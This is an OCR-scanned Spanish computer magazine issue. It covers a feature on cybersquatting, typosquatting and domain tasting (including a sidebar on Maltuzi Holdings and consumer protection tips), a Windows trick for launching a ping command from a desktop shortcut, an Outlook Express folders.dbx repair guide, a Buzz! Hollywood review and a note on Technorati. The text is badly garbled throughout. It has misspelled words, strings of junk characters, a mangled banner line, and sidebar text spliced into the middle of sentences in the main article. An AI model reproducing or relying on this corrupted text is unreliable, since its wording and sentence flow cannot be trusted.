Esto es debido en parte a que los organis-
mos encargados del registro de dominios
genéricos de alto nivel gTLDs (como los
LOM, NET u .ORG) no realizan ningtin
examen previo para analizar si el dominio
solicitado puede generar alguna contro-
versia (en parte debido al cardcter global
que tiene Internet, un factor que compli-
ca las comprobaciones territoriales de los
registros).

Cybersquatting y
Typosquatting

Haciendo uso de herramientas automatiza-
das, el cybersquatters esperard el momento
exacto en el gue expire el nombre de do-
minio de una marca registrada popular,
momento en el cual se abre al publico co-
mo dominio a la venta. El cybersquatter en-
tonces compra dicho dominio, no dando al
duefio ninguna otra opcidn que la recom-
pra a un precio mas elevado (existen pro-
gramas informaticos disefnados para
registrar de forma automadtica nombres de
dominio ya existentes, una vez que sus li-
cencias han caducado). Si el anterior
duefio del nombre de dominio no lo re-
compra, todavia pueden asegurarse un be-
neficio mientras gque el nombre de dominio
popular genere trafico residual.

Para maximizar beneficios, los r_":.-'|_1:-_'r&;-
quatters colocan muchas variantes de un
nombre popular o de las marcas de fibri-
ca de la marca registrada utilizando una
técnica llamada typosquatting que se ba-
sa en la probabilidad de que un usuario
tecleé erroneamente una direccidn webh.

El typosquatter (ocupante de un dominio
similar topograficamente) registra direc-
ciones weh parecidas a importantes mar-
cas o nombre faciles de asociar a una
empresa con el objeto de atrapar trafico y
vender ese espacio publicitario a com-
panias de la competencia de la primera o
servicios relacionados.

Un typosquatting puede darse por ejem-
plo en una pagina como la de McDonalds
(www.mcdonalds.com) en el caso de es-
cribir por ejemplo la misma direccidn pe-
ro omitiendo la dltima “s”. En este caso lo

Los famosos también han sufrido o acoso de los squathers.

EL TERMINO CYBERSQUATTING
SE ORIGINO DE LA PALABRA

“SQUAT"” QUE EN INGLES SIGNI-
FICA OCUPAR ILEGALMENTE SIN
EL CONOCIMIENTO O EL PERMI-
S0 DEL DUENO

normal seria que el navegador le marcara
un error pero es aqui donde entra el ty-
posquatler quien puede registrar la direc-
cion www.mcdonald.com, una web
trampa (con publicidad o cualquier otra
cosa) en la que caerd mds de uno. Lo mis-
mo podria darse si pudiera registrar “gu-
gel.com” captando las visitas de Google.

Con el objeto de protegerse de este tipo
de actividades, la mayoria de de las gran-
des empresas tienen registrados dominios
parecidos al suyo aunque se hace muy
dificil abarcar toda las posibilidades. Sin
embargo el impacto para la empresa sus-
ceptible de este tipo de actividad es tan
negativo (pérdida de clientes, dafio de la
imagen) que su prevencion se estd canvir-
tiendo en una prioridad. Por ello este es
el motive de que la mayoria de las gran-
des empresas registren miltiples domi-
nios para evitar desvios no deseados del
trifico de su web.

NetMames, lider especialista en gestion
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de dominios web, llegd a la conclusion de
que el sector del wrismo en Espana era
un objetivo claro en casos de ciberocupa-

€ion, revelando una cantidad importante
de ataques de alto nivel en agencias de
viajes con el dnico propdsito de robarles

clientes en el perioda del ano mas impor-
tante para este tipo de empresas. Los ata-
ques estan dirigidos a las agencias de

viajes mas importantes, incluyendo algu-
nas de las mds grandes vy mds visitadas en
Espana, desviando como consecuencia a
miles de turistas que regularmente visitan
estos sitios para reservar viajes online ha-
cia otros sitios con ofertas similares.

ARLITY ARTRELARCE FREVACTY FROTECTICA | COMi AIHTS & DisUTEs G A BN FARE IR LUETES SECA IS

Pese a que ha pasado cierto tiempo des-
de que se han detectado los primeros ca-
S5, 'g"q‘l 0N 'l.'.-'ll"i.;!!-n |.|.'- f'lr;i.’.,.jr'lij-:.,'l{:!l:}l'ﬁ"'_‘l
multinacionales y propietarios de marcas
globales las que han tomado medidas pa-
ra proteger sus marcas online. De hecho,
muchas companias internacionales estin
trabajando con NetNames para gestionar
su registro de nombres de dominio con el
fin de asegurarse de que no estin bajo el
riesgo de que algdn cybersquatter intente

EL CYBERSQUATTER O CIBERO-
CUPA SE APROVECHA DE LAS
LAGUNAS LEGALES QUE EXIS-
TEN EN ESTE AMBITO. EN REALI-
DAD SE APROVECHAN DEL
SISTEMA DE REGISTROS

Mnlfuzi 5o dedica a comprar dominios con médodas calificadas de dudosos.

>>> El caso Maltuzi

Ultimamente se CIYE hablar con cada vez mas frecuencia de una empresa llamada Maltuzi Holdings (www.maltuzi.com) que

se dedica al registro de dominios expirados, la especulacion con dominios y cybersquatting. Para empezar se aprovecha de
una friquinuela poco conocida. EI ICANN (el organismo sin dnimo de lucro que se encarga de asignar a nivel global los iden-
tificadores que deben ser Unicos en Internet tsﬁes como el espacio de direcciones IP) ofrece un periodo de gracia de cinco
dias a quien registra un dominio nuevo, de modo que pueda evaluar su “validez” en el mercado. Algunos registradores tras-
ladan esa posibilidad a sus usuarios, aungue no es lo habitual.

Mediante una técnica que se ha bautizado como “Domain kiting” o “Domain Tasting”, Maltuzi aprovecha esta “fisura” regis-
trando cientos, o incluso miles de dominios. Basicamente lo que ocurre que es alguien verifica que determinado dominio
esta libre y decide comprarlo, Lo registra e ingresa su nimero de tarjeta. Todo parece ir bien hasta que recibe un email
anunciandole que su compra ha sido rechazada porque alguien (Maltuzi) ha registrado el dominio minutos antes que el.

Técnicamente no se trata de un robo (el dominio nunca ha sido nuestro) pero hay que reconocer que el método empleado
para “levantamos” este dominio es cuando menos cuestionable aunque solo sea por el hecho de que dlsggngan de un me-
canismo por el cual se pueda estar monitoreando los sistemas Whois (sistema que se encarga de hacer blisquedas en una

basff de ﬂatﬂs sobre las personas y ofras entidades de Internet, tales como dominios, redes y sistemas centrales) de forma
privilegiada.

Parece ser que Maltuzi Holdings obtiene sus dominios de tres fuentes principales. Para empezar de los dominios expirados,
situacion que se produce cuando el propietario de un dominio olvida realizar el pago anual o lo deja expirar a propdsito (el
dominio queda disponible de nuevo para su registro después de 45 dias). Maltuzi registra constantemente un elevado ni-
mero de dominios expirados para, por un lado, aprovecharse de las visitas residuales, y en el caso de que el dominio haya
expirado por descuido, para pedirle al propietario anterior una elevada cantidad de dinero a cambio de su venta.

Otro metodo con el que se especula que pueda estar trabajando es el que tiene que ver con las bisquedas en los Whois.
Asi, se dice que Maltuzi obtiene de algunos sitios web las busquedas que hacen los usuarios para averiguar si un dominio

esta libre o no. De ahi que muchos usuarios hayan informado que al dia siguiente de consultar un dominio en Whois o inclu-
so en Godaddy, estaba registrado por Maltuzi.

El tercer método puede ser el uso de las listas de palabras que convierten las noficias de actualidad en una fuente de infor-

macion. Esto provoca que cuando una noticia es suficientemente importante, registren todos los dominios relacionados con
ella para asi beneficiarse de una publicidad gratuita durante 5 dias. Si comprueban que el trafico es alto se quedan con
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robar sus clientes o dafiar su reputacidn.

Lo que ocurre particularmente en Espafa
silo es el reflejo del resto del mundo.
Puesto que, ademds, a lo largo de los dlti-
mos afos Internet ha experimentado un
auge en lo relacionado con las paginas
dedicadas a ofrecer viajes de verano, vue-
los o alojamientos, era de esperar que el
sector de las agencias de viaje online, asi
como las aerolineas, se hayvan convertido
en el objetivo preferido de los Cybers-
quatters, El dnico requisito es que el usua-
rio cometa un error al teclear el nombre
del dominio para que sea reconducido a
un sitio fraudulento sin que se percate de
SU error.

Segun Carlos Lopez Lansdowne, Director
de NetMames en Espana: "El Cybersquat-
ting se estd convirtiendo en un negocio
muy lucrativo v estos ejemplos de casos
en el sector turismo espanol muestran
que este fendmeno se estd incrementan-
do cada dia. Las companias necesitan pro-
tegerse contra estos ataques y proteger
sus marcas online, asegurandose de que
su portatolio de nombres de dominios
estd efectivamente gestionado y que to-

dos los posibles nombres de dominios si-
milares a su marca o nombre estian regis-
trados, previniendo asi, pérdidas de
clientes, reputacion y dinero”.

El cybersquatting también ha puesto sus
miras en el sector de la banca segin pue-
de extraerse de las dltimas investigaciones
que advierten del riesgo de este tipo de

PARA MAXIMIZAR BENEFICIOS,
LOS CYBERSQUATTERS COLO-
CAN MUCHAS VARIANTES DE UN
NOMBRE POFULAR O DE LAS
MARCAS DE FABRICA DE LA
MARCA REGISTRADA

tecnicas. Y es gue los casos internaciona-
les en donde gigantes del sector como
Google o Microsoft han tenido que librar
duras batallas legales por determinados
nombres o dominios web son hien cono-
cidos v dejan claro que cualquier com-
pania cuyo negocio dependa de su
presencia en Internet correo el riesgo. La
banca vy las entidades financieras con una
clara vocacion internauta podrian perder
millones de euros como resultado de la
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accion de los cybersquatters. 5i los ban-
cos no protegen adecuadamente sus do-
minios, tanto ellos como sus clientes,
podrian perder millones de euros debido
a un mal uso de la informacion obtenida
en paginas no “oficiales” a cargo de indi-
viduos o entidades sin escrdpulos.

El seguimiento de los dominios web en el
mercado espanol, ha demostrado que
muchos bancos espanoles e instituciones
financieras han dejado algunos dominios
clave sin registrar, convirtiéndose asi en
un ohjetivo claro de cybersquatting La for-
ma mas comun con la‘gue suelen operar
los cybersquatters es registrar el dominio
gue se quiera suplantar con otra termina-
cidn, ya que, mientras que los dominios
“ocom” v “.es" son los mis comunes en
Espana, en muchos casos los “.net” o
“.org” se encuentran libres. Es por ello
que los expertos recomiendan, hoy mas
que nunca, a las empresas en general, y
mas en particular para los bancos vy enti-
dades financieras, que aseguren un regis-
tro efectivo y seguro de sus dominios
web, asi como de la gestion de los mis-
mos. En Internet no existen fronteras en-
tre paises, por lo que se hace cada vez

ellos y en el caso confrario, simplemente se vuelven a quedar libres, como con el dominio trentonduckett.com que se re-
Istro poco después de un suceso en el que una mujer se suicidd tras ser entrevistada en la CNN sobre el secuestro de su

1j0.

Segun unas estadisticas del 2008, el numero de dominios registrados por Maltuzi crecié exponencialmente pasando de 0
dominios de enero a septiembre y saltando a 1061772 en octubre, 731640 en noviembre y nada menos que 1020808 en di-
ciembre. Segtin dailychanges.com, el 19 de enero del 2007, Maltuzi registré mas de 420.000 nombres de dominio. Pero lo
mas espectacular es que de ellos, jel 99% quedaron libres a los 5 dias!

Microsoft es una de las empresas que ha sufrido las consecuencias y sus acciones Iegales incluyen nuevas demandas en
las cortes federales de los EEUU en contra de Maltuzi LLC por violacién de derechos de marcas registradas aunque ya ha
reclamado miles de dominios.

Entre las marcas famosas involucradas en numerosas demandas presentadas a la OMPI durante 2005 destacan las de la
corporacion Microsoft, del buscador de Internet Google y de la compaiia aérea de bajo costo EasyJet. También se vieron
afectadas muchas personalidades del mundo del espectaculo y el deporte como las actrices Julia Roberts y Pamela Ander-
son, la cantante Madonna, asi como el futbolista Ronaldinho, el ciclista Lance Armstrong y dominios de Internet de varias
marcas de moda como Ralph Lauren, Hugo Boss, Armani y Calvin Klein.

El Centro de Arbitraje y Mediacién de la OMPI recibio un total de mil 456 denuncias de este tipo en 2005, 286 mas que el
ano anterior. Desde entonces, el organismo ha llevado adelante miles de procedimientos sobre controversias procedentes
de 127 paises en relacion a nombres de dominio.

El 80% de casos ha correspondiendo a dominios de tipo .com, aunque han ido adquiriendo relevancia las dentncias sobre
nombres correspondientes a paises, como “.fr" (Francia), “.ch” (Suiza), “.co” (Colombia) o “.mx" (México), por ejemplo.

Segun la eurodiputada Berger la compaiiia austriaca IPMarketing.info esta entre las que han llevado a cabo registro de
nombres como ‘wellness.eu’, FDD&EU‘ 0 ‘sport.eu’, aunque esta Ultima asegura que las normas para el registro se conocen
desde abril de 2004 y que sélo han comprado 100 ".eu’. Empresas como [PMarketing o Eurid se defienden aduciendo que
no hay ninguna ley que diga que no se pueden tener muchos dominios. Sin embargo, como caso curioso se encuentra el
dominio sex.eu que ha sido reservado por una compariia sueca que tiene registrado el nombre "Sex’ como marca para un

aceite infantil de coco. Lo que hay que oir.
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mads necesario considerar el registro de
los dominios por pais, incluso para com-
pafias espanolas locales o regionales que
no estén presentes en estos mercados,
evitando asi el riesgo de que cybersquat-
ters extranjeros registren dominios que
pudiesen dar una ventaja competitiva im-
portante para el futuro de la compaiia.

En relacion al peligro al que estdn expues-
tos los bancos espaioles por dejar sus do-
minios sin proteccidn, Carlos Lapez
explica: “tanto para la banca como para el
sector financiero, la gestidn efectiva de los
dominios en Interfet es clave. En este sec-
tor, no se trata soélo de que un cybersquat-
ter robe un dominio para después
venderlo a un precio mayor. Bancos, Cajas
de Ahorro v en general entidades financie-
ras que ofrecen sus servicios a través de In-
ternet necesitan asegurarle a sus usuarios
que cuentan con todas las medidas de se-
guridad posibles para mantener su infor-
macion segura y de que no existe ningdn
tipo de riesgo de fraude online”.

Por otro lado, la preccupacidn a nivel eu-
ropeo se centra en proteger los dominios
“.eu” ya que hay muchos que apuestan
por que este dominio ayudara a crear una
identidad europea en la Red, facilitando el
trabajo a numerosas empresas. Pero ya
hay miembros del Parlamento Europeo
que han denunciade que unas pocas em-
presas han comprado de forma indiscrimi-
nada entre 200.000 y 300.000 dominios
usados habitualmente. Paises como Alema-
nia, Alemania, Austria o Bélgica centran es-
tos “ataques” lo que puede desencadenar
una situacion paraddjica en la que los do-
minios “.eu” estén concentrados en las ma-
nos de salo unas 20 personas.

Medidas de proteccion

Aungue las empresas compren cientos de
dominios similares al que desean prote-
ger, siempre existe la posibilidad de que
caigamos en la trampa de un cybersquat-
ters. Por ello puede ser muy interesante
conocer una serie de consejos que nos
ayudan a detectar y evilar pdginas falsas.

Para empezar deberds tener tu antivirus
actualizado v, a continuacidn, serd reco-
mendable entrar directamente en la web
que busquemos escribiendo la direccidn
de la barra de direcciones. De esta mane-
ra, la responsabilidad de acceder al sitio
adecuado serd totalmente nuestra v de
nadie mas. Por supuesto hay que descon-
fiar inmediatamente de aquellos correos
electronicos que nos hagan preguntas
acerca de informacién personal, ya sea di-
rectamente o redireccionandonos a una
nueva pagina web, puesto gue en ambos
Casns Nos arriesgamos a ser enganados.

Tampoco debemos hacer clic en un enla-
ce que se ofrezca a través de un correo
que no hemos solicitado. La combinacidn
de ambas, es decir, que un correo no soli-
citado nos pida modificar o corroborar
determinada informacion desde un enlace
externo, es doblemente peligrosa v debe
ser evitada a toda costa ya que existe un
altisimo riesgo de robo de datos o de des-
carga de programas mal intencionados
(virus o troyanos por ejemplo).

Asimismo, es recomendable visitar siem-
pre la pagina principal de la empresa o
banco en la que hemos introducido nues-
tros datos personales a la hora de actuali-
zarlos o realizar cualquier tipo de
maodificacion. De esta manera podrds ase-
gurarse de que la pdgina a la que has ac-
cedido es la “oficial”.

NETNAMES, LIDER ESPECIALISTA
EN GESTION DE DOMINIOS WEB,
LLEGO A LA CONCLUSION DE QUE
EL SECTOR DEL TURISMO EN ES-
PANA ERA UN OBJETIVO CLARO
EN CASOS DE CIBEROCUPACION

Por otro lado, antes de realizar cualquier
clase de operacidn en la que esté involu-
crada el intercambio de informacidn per-
sonal (bancos, etcétera) deberas
asegurarte de gue la conexion a Internet
e5 segura. Aundque existen decenas de for-
mas de interceptar datos, qué menos que
verificar que la web ofrece una conexidn
segura (que comience con “https://", en
lugar de “http://”), v que en la parte infe-
rior del navegador se muestra la imagen
de un candado cerrado o una llave).

En el caso de que recibas un correo de al-
guna entidad bancaria o empresa que te
parezca sospechoso, no dudes en poner-
te en contacto directamente con ellos a
través de una llamada telefénica o su pa-
gina web. Mejor prevenir que curar. Y si-
gue siempre la mdxima de los expertos a
la hora de realizar compras o reservas en
la red: 5i algo suena demasiado bueno pa-
ra ser verdad, probablemente no lo sea.

Conclusion

Probablemente la dnica forma de combatir
el cybersquatting consista en proteger acti-
vamente los dominios de las empresas que
se cree que son de importancia, algo que
no es baladi. No obstante, es importante
destacar que tras el litigio por una compra
de dominio no siempre existe un compo-
nente fraudulento. De hecho, se han dado
muchos casos en los gue ambos interesa-
dos pueden tener razones de peso y total
mente licitas para defender sus intereses.

Los cybersquatters dicen que el cybers-
quatting no es mas que una consecuen-
cia del mercado libre v de los principios
de una sociedad capitalista (a los “Do-
mainers” se les puede ver como comer-
ciantes que compran v venden dominios
como parte de su negocio), algo perfec-
tamente entendible cuando sdlo se ven
involucrados procesos de compra v ven-
ta de dominios en base a una ley de la
oferta y la demanda, aunque no hay que
olvidar que no hay adn un limite (juridi-
co, ético) establecido que separe lo lici-
to ¥y comercial de lo abusivo y la
extorsion.

sPero qué podemos hacer si nos encontra-
mos ante una situacidn en la que conside-
ramos que un cybersquatter nos ha
arrebatado un dominio? Lo primero: man-
tener la calma e intentar no desvelar nues-
tras intenciones. 5i abrimos un navegador
para ver el contenido del dominio o segui-
mos haciendo consultas al WHOIS, lo mis
probable es que el cybersquatter se quede
el dominio al menos durante un ano. Por
el contrario si esperamos quietos durante
cinco dias, las probabilidades de que el
dominio quede libre de nuevo son muy ak
tas, salvo que se frate de un dominio con
mucho trifico, o realmente bueno.

De momento los registradores de domi-
nios estan presionando a ICANN para
que elimine el periodo de gracia de 5
dias, o al menos que establezca un canon
de $0.25 por dominio registrado no reem-
holsable, para lograr reducir el ndmero de
registros abusivos en la medida de lo posi-
ble. Asimismo podria aprovecharse la in-
formacién pablica de los dominios
nuevos registrados (por ejemplo en
www.dailychanges.com o en www regis-
teredon.com) para crear trafico artificial
hacia todos los nuevos dominios durante
los dias posteriores al registro (mediante
una aplicacion que automatizara el proce-
s0), de modo que los squatters no pudie-
ran distinguir qué dominios tienen trafico
real y cuales no.

En cualquier caso es conveniente recor-
dar que el cybersquatting es un procedi-
miento que, aungue no es legal, tampoco
es ilegal, situindose en un limbo juridico
gue en todo caso puede calificarse de
alegal. En el momento en el que se de-
cante para un lado u otro de la balanza,
es probable que nos veamos mas ampa-
rados para tomar medidas contra estas
practicas que en muchos casos incum-
plen todas las normas de la ética empre-
sarial y la competencia.

MNicolas Velasquez Espinel<
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- EJECUTAR COMANDO DE SISTEMA

Ejecutar comando de sistema
desde un acceso directo

Muchos lectores habrin usado en
mayor o menor medida la conocida con-
sola de comandos de Windows, un siste-
ma con muchos defensores que pese a su
entorno poco amigable sigue siendo de
mucha utilidad por lo que puede ser con-
veniente aprender un par de trucos para
oplimizar su funcionamiento.

El ordenador tal como lo conocemos hoy
en dia, lleno de ventanas, transparencias y
todo tipo de elementos graficos, tiene po-
co 0 nada que ver con sus origenes cuan-
do la unica interfaz disponible que
permitia interconectar a la maquina con
el usuario era una aséptica consola que
ofrecia la posibilidad de introducir toda
una serie de comandos que daban poder
sobre el sistema.

Este método, que adn muchos (en gran
parte nostilgicos aunque también nume-
rosos profesionales) siguen empleando
en ciertos entornos, ha caido en desuso
para la gran mayoria de mortales que se
han acostumbrado a un entorno grifico
rico en experiencias visuales e interacti-
vas. Eso no quita para que dentro de Mi-
crosoft Windows subsistan algunas
reminiscencias del pasado como testigos
mudos de otros tiempos que para algu-
nos fueron mejores pero que para el gran
publico no es mas que parte de la historia
reciente. La consola de comandos, tam-
bién conocida como Shell, es el mds cla-
ro de exponente, un entorno que nos
recuerda al antiguo de MS-Dos, v que si-
gue siendo de mucha utilidad en una se-
rie de tareas basicas.

Se trata de una interfaz carente de ele-
mentos graficos y cuyo uso se limita a
una serie de acciones muy especificas y
habitualmente poco usuales. Si, por la cir-
cunstancia que fuera, nos vemos necesita-
dos de acceder con cierta frecuencia a la
consola para ejecutar algin comando, el
proceso puede ser algo pesado ya que re-
quiere de varios pasos consecutivos, De
ahi que pueda ser interesante agilizar la
operacion.

Imaginemos por ejemplo que necesita-
mos conocer el tiempo de respuesta que
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Define & comando a realizar

La consola se abre y el comandy se efecutand

genera un determinado host ante cada
uno de los pagquetes que se envian me-
diante un ping (operacidn tipica para
comprobar la conectividad de nuestra ma-
quina, por ejemplo con Internet). Seria ne-
cesario ir a “Inicio- Ejecutar”, escribir
“ecmd” (sin las comillas), pulsar en Acep-
tar, v de la consola que se abre escribir
por ejemplo: ping www.google.com, para
comprobar los tiempos de respuesta.

Si tenemos que repetir este proceso con
frecuencia, es ficil entender lo molesto

que puede resultar llevarlo a cabo una y
otra vez. Pero esto puede remediarse (0
por lo menos agilizarse) creando un acce-
so directo al proceso, una especie de
“macro” que nos permita realizar el pro-
ceso de manera mucho mas inmediata

- ([obviamente esto serd de utilidad siempre

v cuando se realice la misma accidn).

Para ello, pulsa con el boton derecho del
ratén sobre cualquier espacio vacio del
Escritorio v selecciona “Nuevo - Acceso
directo”. En la nueva ventana escribe emd
[k ping www.google.es v pulsa sobre el
botén “Siguiente”.Escribe un nombre para
el acceso directo, por ejemplo Ping, y pul-
sa sobre “Finalizar”.

Ya creado este acceso directo bastard
con hacer doble clic sobre el icono resul-
tante que aparezca en el escritorio para
que se abra una ventana en la que se pre-
sentard la informacidn solicitada. Este pro-
ceso es vdlido para cualquier tipo de
comandos afectados por la consola.

Para personalizar ain mas el acceso di-
recto, podremos cambiar el icono del ac-
ceso directo que, por defecto, hay que
reconocer que deja bastante que desear v
es poco intuitivo. Esto se lleva a cabo fa-
cilmente pulsando con el botén derecho
del raton sobre el nuevo icono v seleccio-
nando |la opcion “Propiedades”. En la ven-
tana que emerge, vy con la pestafa
“Acceso directo” activa, pulsa sobre el
botén Cambiar icono. En la nueva venta-
na que se gjecuta, pulsa sobre “Examinar”
para seleccionar el icono que deseas aso-
ciar a este acceso directo. Como ejemplo
ilustrativo localiza el archivo “shell32.d11”,
situado en la carpeta “system32" dentro
del directorio de “Windows”. Una vez he-
cho esto, podras comprobar como se des-
cubre un listado de iconos que podrds ir
recorriendo hasta dar con el mas adecua-
do. Selecciona el mas apropiado a tus
propdsitos vy acepta todos los cambios
hasta cerrar las ventanas abiertas. Es im-
portante destacar que, aunque este archi-
vo contiene una gran canlidad de iconos,
no es el dnico.

MNicolas Velasquez E.<



Solucionar error en folders.

TRUCOS ERROR EN FOLDERS.DBX

[Outlook Express]

Perder todos nuestros correos es
una de las peores cosas que pueden ocu-
rrirnos, una catastrofe que nadie quiere ni
imaginar, S5in embargo, no siempre estd to-
do perdido, v si el problema tiene que ver
con un error en el archivo folders.dbx del
Outlook Express, quizas siguiendo estos
pasos puedas ver la luz al final del tanel.

Outlook Express sigue siendo uno de los
clientes de correo mds utilizado, con permi-
so de su hermano mayor Microsoft Outlo-
ok, el cada vez mas popular Windows Mail
incluido en Vista v alguna alternativa libre.
Aungue sus funciones sean ciertamente [i-
mitadas, cumple con la mayor parte de los
requisitos exigidos por muchos usuarios
que lo ven como un cliente de correo relati-
vamente fiable y muy sencillo de utilizar.

Outlook emplea una estructura basica de
ficheros “dbx” para almacenar todo su
contenido. De esta manera, "bandeja de
entrada.dbx” guardard en su interior todos
los correos electrdnicos que se reciban en
la citada carpeta de Outlook. Si a su vez
decidimos crear dentro del programa una
nueva clasificacion llamada, por ejemplo,
“Mis correos antiguos” para organizar
nuestros mensajes, el programa creara in-
mediatamente un nuevo archivo que lla-
mara “Mis correos antiguos.dbx” en
donde se almacenardn todos los correos
gue derivemos alli.

Sin embargo, existe una carpeta de espe-
cial importancia denominada “folders.dbx®
que es responsable de almacenar la es-
tructura de arbol v alguna informacidn adi-
cional critica. Se trata de un fichero muy
sensible que, de corromperse o perderse,
puede darnos un gran disgusto va que nos
impedird acceder a nuestros mensajes.

Si tienes constancia de que se ha produci-
do un error con este archive (con algin
mensaje haciendo referencia a que se en-
cuentra danado), lo primero que deberds
intentar serd solucionar el problema com-
pactando la(s) carpeta(s) que tengas. Para
ello, accede al mend “Archivo - Carpeta -
Compactar todas las carpetas”. Este proce-
s0, que llevard mas o menos tiempo de-
pendiendo de la cantidad de mensajes
gue tengas almacenados, optimizard al
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maximo el tamano de las carpetas y el es-
pacio utilizado por las mismas, solucionar
la mayoria de problemas de coherencia.

5i este proceso no soluciona el error ten-
dremos que utilizar medidas mads radicales.
Empezaremos anadiendo una identidad
nueva (las identidades nos permiten crear
varias sesiones dentro de un mismo QOutlo-
ok para que podamos compartirlo con
ofros usuarios). Dentro del mend “Archivo
- ldentidades” seleccionaremos “Anadir
identidad nueva” y seguimos el asistente
hasta terminar el proceso. Cambiaremos a
la nueva identidad cuando nos lo pregun-
ten, pero cancelaremos el asistente para
creacion de cuenta de correo cuando éste
aparezca. De esta forma habremos creado
automaticamente los archivos dbx que for-
man la nueva identidad.

A continuacion acudiremos al mend “He-
rramientas - Opciones - Mantenimiento -
Carpeta de almacén” para determinar el
sitio donde se encuentra ubicada la nueva
identidad. Cerraremos Outlook Express y
abriremos la carpeta de almacén de la
nueva identidad desde el Explorador de
Windows (fijate bien en el nombre exacto

de ésta ya que es una mezcla de caracte-
res y nimeros poco intuitiva).

Copiaremos nuestros antiguos archivos
“dbx"” a la carpeta de la nueva identidad
creada, y eliminaremos el archivo “fol-
ders.dbx”. Volveremos a abrir Outlook Ex-
press con la identidad recién creada, el
cual, al comprobar que el archivo “fol-
ders.dbx” no existe, creard uno que ya in-
cluira referencias al resto de archivos
“dbx" que copiamos previamente desde
nuestra identidad principal. Pulsa sobre el
mend “Archivo - Cambiar identidad” v
vuelve a la identidad original.

Finalmente ya sdlo nos quedara importar
los mensajes desde el mend “Archivo - im-
portar - mensajes - Outlook Express 67, se-
leccionando la identidad donde hayamos
corregido los errores en los archivos.
Cuando hayas completado todo este pro-
ceso ya serd posible eliminar manualmen-
te la antigua carpeta v la creada para
solucionar el problema junto con su iden-
tidad, siguiendo los asistentes utilizados
anteriormente.

Nicolas Velisquez E.<
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BUZZ! HOLLYWOOD

Dias de cine en
tu vetusta PS2




Lo que muchos veian como algo
anecddtico en el inmenso catdlogo de
una consola como PS2 se ha convertido
en toda una saga v, a la vez, en toda una
sefia de identidad para la consola de Sony
en estos que parecen ser sus Gltimos mo-
mentos. Estas navidades rugen con fuerza
titulos para la vetusta PS2, compitiendo
con las novedades de Wii, Xbox360 vy
P53. ¥ no es ninguna coincidencia que
esos titulos de la oferta de PS2 para las
fiestas procedan de las sagas Buzz!, Eye-
Toy y SingStar. Por un lado, estos juegos
han cosechado un mids que considerable
éxito en Europa desde sus inicios, pero es
que encima el mercado ha dado un vuel-
co a los llamados “juegos sociales”, en
parte por el citado éxito de esos juegos v,
en otra medida, por la gran acogida que
ha tenido Wii en millones de hogares. Lo
curioso del tema es que sea la P52 la que

todavia pueda competir en ese sentido
con la poderosa Wii, mientras que P53 to-
davia sigue jugando la baza de la tecno-

el ®

Feagy
I

logia (aunque se acerca la salida de Sings-
tar para la nueva generacidn, con intere-
santes novedades).

De cualguier manera, estas Navidades la
P52 recibe no pocas nuevas entregas de
esas fres sagas, ademds perfectamente estu-
diadas para abarcar todas las franjas de eda-
des. Para un pdblico no tan nifo como el
de los juegos EveToy o los Buzz! Junior lle-
ga Buzz! Hollywood, la nueva entrega del
juego que emula los concursos de la tele.
solo que jugaremos en la consola, y ponién-
donos en el pellejo de estrafalarios concur-
santes. Eso si, el presentador palizas no
falta, y el gafotas de Buzz sigue teniendo su
papel protagonista en el juego, aunque sin
molestar demasiado. La mecinica es la de
costumbre, el que mas rapido pulse el buz-
zer liene la opcidn de llevarse las rondas.

Como era de esperar, se han incluido nue-
vas rondas, nuevas pruebas para ir afadien-
do variedad al juego, aunque los usuarios
siguen teniendo algunas de sus favoritas,
como la pufietera e impredecible Pasa la
bomba. Buzz! Hollywood trae mis de
5.000 preguntas, en forma de texto, fotos,
sonidos o videos cortos de peliculas famo-
sas. Evidentemente, el alcance de las pelicu-

ZONA DE JUEGOS

BUZZ! HOLLYWOOD

las no es para muy cinéfilos. Se ha optado
por un termino medio bastante comodo, y
como no, mas tendente a las peliculas de
los dltimos afos v los cotilleos mds recien
tes. Tampoco es algo que haya que criticar
mucho, los juegos de mesa de preguntas,
con pocas excepciones, no suelen buscar
verdaderos expertos para jugar, sino que
abren el abanico al mayor publico posible.

Logicamente, el punto fuerte de Buzz!
Hollywood sigue siendo el modo multiju-
gador. Aunque los que no lo hayan pro-
bado puedan pensar que es algo ridiculo
v aburrido eso de darle a un pulsador ca-
da pregunta, tiene bastante mis gracia de
lo gue parece, Solo hay que rodearse con
amigos que sean competitivos, unos ape-
ritivos v la fiesta estd servida. Si la saga si-
gue aumentando con nuevos titulos
tematicos, por algo sera.
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" BUSCADORES

Google

Bisgueda de Blogs BETA
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Buscar: (¥ Todos loa biogs ) Blogs an eapafiol

Busgue blogs sobre sus temas favoritos




Technorati (technorati.com) lo pode-
mos definir como un buscador de blogs
en tiempo real. Esto quiere decir que po-
demos conocer que se estd publicando
ahora mismo en la blogosfera sobre el te-
ma que nos interese, o que reacciones
hay a una noticia que se ha producido
ahora mismo, o incluso podemos ver que
reaccion ha tenido nuestro dltimo post en
otros blogs por poner unos ejemplos.

El “spider” de Technorati, que no es mas
que el robot que visita las webs en busca
de cambios, tiene un retraso medio, en
condiciones normales de unos 10 minu-
tos, cuando un buscador tradicional lo
suele tener entre 2 y 15 dias dependiendo
de la web. Asi después de una noticia que
se acaba de producir, se pueden tener re-
sultados en unos 15 minutos de las prime-
ras reacciones.

El todopoderoso Google también tiene su
propia version de este tipo de herramien-
ta, es Blogsearch (blogsearch.google.es),
que segln los dltimos datos de Hitwise,
ha sobrepasado recientemente en trafico
a Technorati, sobre todo desde la integra-
cidn del buscador especializado de Goo-
gle con su otro servicio Google News.

Ademds Technorati ha sufrido en los dlti-
mos meses varios reveses que han debili-
tado su reinado indiscutible. Por un lado
su CEQ Dave Safry, el responsable de tec-
nologia Tantek Celik, la jefa de producto
Liz Dunn v el vicepresidente de tecno-
logia Adam Hertz han abandonado la em-
presa en menos de cuatro meses. ¥ por el
otro Wordpress, el CMS lider de gestidn
de blogs, ha eliminado de su dashboard la
notificacion de enlaces entrantes median-
te Technorati a favor de Blogsearch en su
version 2.3, lo que supone una drastica re-
duccidn de su trifico.

Como colofon afnadimos los problemas
técnicos de los primeros, frente a la re-
duccion de tiempo deindexacién de los
de Google,

Mucho mas que un buscador
Pero donde Google ain no compite es en
un buen montdn de caracteristicas exclusi-
vas de los de San Francisco. Y es que Tech-
norati es mucho mds que un buscador, ya
que incarpora otras tecnologlas como: .

- Busqueda por tags (etiquetas)
Ademds de buscar por palabras conteni-
das en los post, se puede buscar por las
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etiquetas empleadas por sus autores a la
hora de escribir, En este sentido hay una
gran cantidad de plugins que o bien ges-
tionan los tags directamente para Techno-
rati, © mejoran la clasificacion de la
informacion si utilizamos esta facilidad,
bien por nubes de tags, u otros.

- RSS

